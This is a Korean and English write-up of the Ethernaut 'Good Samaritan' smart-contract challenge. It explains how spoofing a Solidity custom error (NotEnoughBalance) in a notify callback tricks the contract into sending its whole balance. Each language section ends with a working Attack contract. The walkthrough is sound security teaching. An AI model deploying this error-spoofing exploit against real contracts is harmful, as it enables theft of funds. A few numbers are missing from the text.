Ethernaut 27 Good Samaritan
Ethernaut 27 Good SamaritanEthernaut 27 Good SamaritanEthernaut 27 Good Samaritan 문제 풀이Ethernaut 27 Good Samaritan writeup
Contents
문제
지문
This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it. Would you be able to drain all the balance from his Wallet? Things that might help: Solidity Custom Errors
코드
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}배경지식
Solidity의 custom error는 error NotEnoughBalance();처럼 정의하고 revert NotEnoughBalance();로 발생시킨다. ABI 관점에서는 함수 호출처럼 error signature를 해싱한 selector가 revert data 앞에 들어간다.
인자가 없는 NotEnoughBalance()의 revert data는 bytes4(keccak256("NotEnoughBalance()"))이다. 이 이름은 컨트랙트별로 네임스페이스가 분리되어 검사되지 않는다. 즉 다른 컨트랙트가 같은 이름과 같은 인자 구조의 custom error를 revert하면, 바깥 컨트랙트는 같은 error로 오해할 수 있다.
try wallet.donate10(msg.sender)는 외부 호출이 성공하면 try 블록으로 가고, 호출 중 revert가 발생하면 catch 블록으로 간다. catch (bytes memory err)는 revert data를 그대로 받는다.
이 문제에서는 catch가 revert 이유를 다음처럼 직접 비교한다.
keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)이 방식으로는 실제로 Wallet.donate10 내부의 잔액 체크에서 발생한 에러인지, 수신자 컨트랙트가 의도적으로 같은 selector를 만들어낸 에러인지 구분하지 못한다.
Coin.transfer는 수신자가 컨트랙트인지 확인한 뒤 notify(amount_)를 호출한다.
if (dest_.isContract()) {
INotifyable(dest_).notify(amount_);
}이 호출로 토큰을 받는 컨트랙트의 코드가 실행된다. 여기서 수신자 컨트랙트가 revert하면 Coin.transfer 전체가 revert되고, 그 revert는 Wallet.donate10을 거쳐 GoodSamaritan.requestDonation의 catch까지 전파된다.
문제 코드 분석
초기 상태는 다음과 같다.
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}Coin은 생성될 때 Wallet 주소에 개의 코인을 넣어둔다. 레벨의 목표는 이 Wallet이 가진 코인을 모두 빼내는 것이다.
일반적인 흐름대로라면 requestDonation()을 한 번 호출할 때마다 10개만 받을 수 있다. 단순 반복으로는 비효율적이므로 transferRemainder가 실행되도록 만들어야 한다.
requestDonation은 다음처럼 분기한다.
function requestDonation() external returns (bool enoughBalance) {
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
wallet.transferRemainder(msg.sender);
return false;
}
}
}requestDonation은 먼저 wallet.donate10(msg.sender)를 시도한다. 실패했을 때 revert data가 NotEnoughBalance()와 같으면, 지갑에 10개 미만만 남았다고 판단하고 wallet.transferRemainder(msg.sender)를 호출한다.
GoodSamaritan은 NotEnoughBalance()가 어디서 발생했는지 확인하지 않는다. 따라서 수신자 컨트랙트의 notify에서 같은 custom error를 발생시켜도 같은 분기로 들어간다.
donate10과 transferRemainder는 다음과 같다.
function donate10(address dest_) external onlyOwner {
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
coin.transfer(dest_, coin.balances(address(this)));
}Wallet의 owner는 GoodSamaritan이다. 사용자는 Wallet을 직접 호출할 수 없지만, GoodSamaritan.requestDonation()을 통해 donate10과 transferRemainder가 호출되도록 만들 수 있다.
donate10은 잔액이 10 이상이면 coin.transfer(dest_, 10)을 실행한다. 이 호출 중 공격 컨트랙트의 notify(10)이 호출되고, 여기서 NotEnoughBalance()로 revert하면 donate10 전체가 실패한다. 이때 앞에서 줄어든 10개 전송도 함께 롤백된다.
그 다음 GoodSamaritan의 catch가 이 revert를 지갑 잔액 부족으로 착각하고 transferRemainder를 실행한다. 이 두 번째 전송은 금액이 이므로 공격 컨트랙트의 notify에서 revert하지 않게 만들면 전체 잔액을 받을 수 있다.
에러는 공격 컨트랙트의 notify에서 만든다.
if (dest_.isContract()) {
INotifyable(dest_).notify(amount_);
}공격 컨트랙트는 INotifyable 형태의 notify(uint256 amount)를 구현하면 된다. 첫 번째 donate10 경로에서는 amount == 10이므로 NotEnoughBalance()를 발생시킨다. 두 번째 transferRemainder 경로에서는 amount가 10보다 훨씬 크므로 revert하지 않는다.
전체 흐름은 다음과 같다.
requestDonation()호출donate10(attackContract)실행Coin.transfer(attackContract, 10)중notify(10)호출- 공격 컨트랙트가
NotEnoughBalance()로 revert requestDonation의catch가transferRemainder(attackContract)실행notify(1000000)에서는 revert하지 않아 전체 잔액 수령
풀이
공격 컨트랙트에도 Wallet.NotEnoughBalance()와 같은 signature의 custom error를 정의한다. GoodSamaritan은 revert data의 hash만 비교하므로, notify(10)에서 같은 custom error를 발생시키면 진짜 잔액 부족 상황처럼 받아들인다.
다만 모든 notify에서 revert하면 transferRemainder로 잔액을 받을 때도 다시 실패한다. 그래서 amount <= 10일 때만 revert하고, 나머지 전송에서는 정상 종료하게 둔다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IGoodSamaritan {
function requestDonation() external returns (bool enoughBalance);
}
contract Attack {
IGoodSamaritan goodsamaritan;
error NotEnoughBalance();
constructor(address _addr) {
goodsamaritan = IGoodSamaritan(_addr);
}
function attack() public {
goodsamaritan.requestDonation();
}
function notify(uint256 amount) external payable {
if (amount <= 10) {
revert NotEnoughBalance();
}
}
}
Challenge
Prompt
This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it. Would you be able to drain all the balance from his Wallet? Things that might help: Solidity Custom Errors
Code
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}Background
A Solidity custom error is defined like error NotEnoughBalance(); and raised with revert NotEnoughBalance();. In the ABI, as with a function call, the selector hashed from the error signature is placed at the front of the revert data.
The revert data for the argument-less NotEnoughBalance() is bytes4(keccak256("NotEnoughBalance()")). This name is not checked with a per-contract namespace. So if a different contract reverts a custom error with the same name and the same argument structure, the outer contract can mistake it for the same error.
try wallet.donate10(msg.sender) goes to the try block if the external call succeeds, and to the catch block if a revert occurs during the call. catch (bytes memory err) receives the revert data as-is.
In this challenge, catch compares the revert reason directly as follows.
keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)This approach cannot distinguish whether the error actually came from the balance check inside Wallet.donate10, or whether the recipient contract deliberately produced the same selector.
Coin.transfer checks whether the recipient is a contract and then calls notify(amount_).
if (dest_.isContract()) {
INotifyable(dest_).notify(amount_);
}This call runs the code of the contract receiving the tokens. If the recipient contract reverts here, the whole Coin.transfer reverts, and that revert propagates through Wallet.donate10 all the way to the catch of GoodSamaritan.requestDonation.
Analyzing the challenge code
Here is the initial state.
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}When Coin is created, it places coins on the Wallet address. The level's goal is to drain all the coins this Wallet holds.
In the normal flow, each call to requestDonation() only grants 10. Simply repeating is inefficient, so we need to make transferRemainder run.
requestDonation branches like this.
function requestDonation() external returns (bool enoughBalance) {
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
wallet.transferRemainder(msg.sender);
return false;
}
}
}requestDonation first attempts wallet.donate10(msg.sender). If it fails and the revert data equals NotEnoughBalance(), it concludes that fewer than 10 remain in the wallet and calls wallet.transferRemainder(msg.sender).
GoodSamaritan does not check where NotEnoughBalance() came from. So if the recipient contract's notify raises the same custom error, execution enters the same branch.
Here are donate10 and transferRemainder.
function donate10(address dest_) external onlyOwner {
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
coin.transfer(dest_, coin.balances(address(this)));
}Wallet's owner is GoodSamaritan. The user cannot call Wallet directly, but can trigger donate10 and transferRemainder through GoodSamaritan.requestDonation().
donate10 runs coin.transfer(dest_, 10) if the balance is at least 10. During this call the attack contract's notify(10) is invoked, and if it reverts here with NotEnoughBalance(), the whole donate10 fails. At this point the 10-coin transfer that was already decremented is rolled back too.
Then GoodSamaritan's catch mistakes this revert for the wallet running out of balance and runs transferRemainder. This second transfer's amount is , so if the attack contract's notify does not revert this time, we receive the entire balance.
The error comes from the attack contract's notify.
if (dest_.isContract()) {
INotifyable(dest_).notify(amount_);
}The attack contract only needs to implement an INotifyable-style notify(uint256 amount). In the first donate10 path, amount == 10, so it raises NotEnoughBalance(). In the second transferRemainder path, amount is much larger than 10, so it does not revert.
The full flow:
- Call
requestDonation() donate10(attackContract)runs- During
Coin.transfer(attackContract, 10),notify(10)is called - The attack contract reverts with
NotEnoughBalance() requestDonation'scatchrunstransferRemainder(attackContract)notify(1000000)does not revert, so the entire balance is received
Solution
The attack contract defines its own custom error with the same signature as Wallet.NotEnoughBalance(). GoodSamaritan only compares the hash of the revert data, so raising that error in notify(10) looks like a real out-of-balance condition.
However, if we revert in every notify, the transfer that pays us the balance via transferRemainder fails again too. So we revert only when amount <= 10, and let the remaining transfer complete normally.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IGoodSamaritan {
function requestDonation() external returns (bool enoughBalance);
}
contract Attack {
IGoodSamaritan goodsamaritan;
error NotEnoughBalance();
constructor(address _addr) {
goodsamaritan = IGoodSamaritan(_addr);
}
function attack() public {
goodsamaritan.requestDonation();
}
function notify(uint256 amount) external payable {
if (amount <= 10) {
revert NotEnoughBalance();
}
}
}